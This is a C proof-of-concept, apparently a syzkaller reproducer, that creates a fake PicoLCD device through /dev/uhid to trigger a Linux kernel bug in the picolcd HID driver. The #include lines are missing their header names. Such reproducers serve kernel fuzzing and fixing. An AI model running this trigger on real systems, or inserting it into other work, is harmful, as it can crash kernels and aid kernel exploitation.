// https://syzkaller.appspot.com/bug?id=ff526a91a38ca1d1ce496abdfeb1c7f44cb6f779 #include #include #include #include #include #include #include #include #include // Minimal HID report descriptor to satisfy picolcd_init_keys and picolcd_init_lcd static const uint8_t rdesc[] = { 0x06, 0x00, 0xff, // Usage Page (Vendor Defined 0xFF00) 0x09, 0x01, // Usage (0x01) 0xa1, 0x01, // Collection (Application) // Input report 0x11 (REPORT_KEY_STATE) 0x85, 0x11, // Report ID (17) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xff, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x02, // Report Count (2) 0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position) // Output report 0x92 (REPORT_CONTRAST) 0x85, 0x92, // Report ID (146) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xff, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x01, // Report Count (1) 0x91, 0x02, // Output (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position,Non-volatile) 0xc0 // End Collection }; int main(void) { int fd = open("/dev/uhid", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno)); exit(1); } printf("[+] Successfully opened /dev/uhid.\n"); struct uhid_event ev; memset(&ev, 0, sizeof(ev)); ev.type = UHID_CREATE2; strcpy((char *)ev.u.create2.name, "syz0"); ev.u.create2.rd_size = sizeof(rdesc); ev.u.create2.bus = 3; // BUS_USB ev.u.create2.vendor = 0x04d8; // USB_VENDOR_ID_MICROCHIP ev.u.create2.product = 0xc002; // USB_DEVICE_ID_PICOLCD memcpy(ev.u.create2.rd_data, rdesc, sizeof(rdesc)); if (write(fd, &ev, sizeof(ev)) != sizeof(ev)) { printf("[-] Failed to write uhid create2: %s\n", strerror(errno)); close(fd); exit(1); } printf("[+] Successfully created uhid device.\n"); // Keep the program running briefly to allow the kernel to probe the device // and trigger the bug synchronously. while (1) { struct pollfd pfd = { .fd = fd, .events = POLLIN }; if (poll(&pfd, 1, 1000) > 0) { if (read(fd, &ev, sizeof(ev)) > 0) { // Consume events } } else { break; // Exit after 1 second of inactivity } } close(fd); return 0; }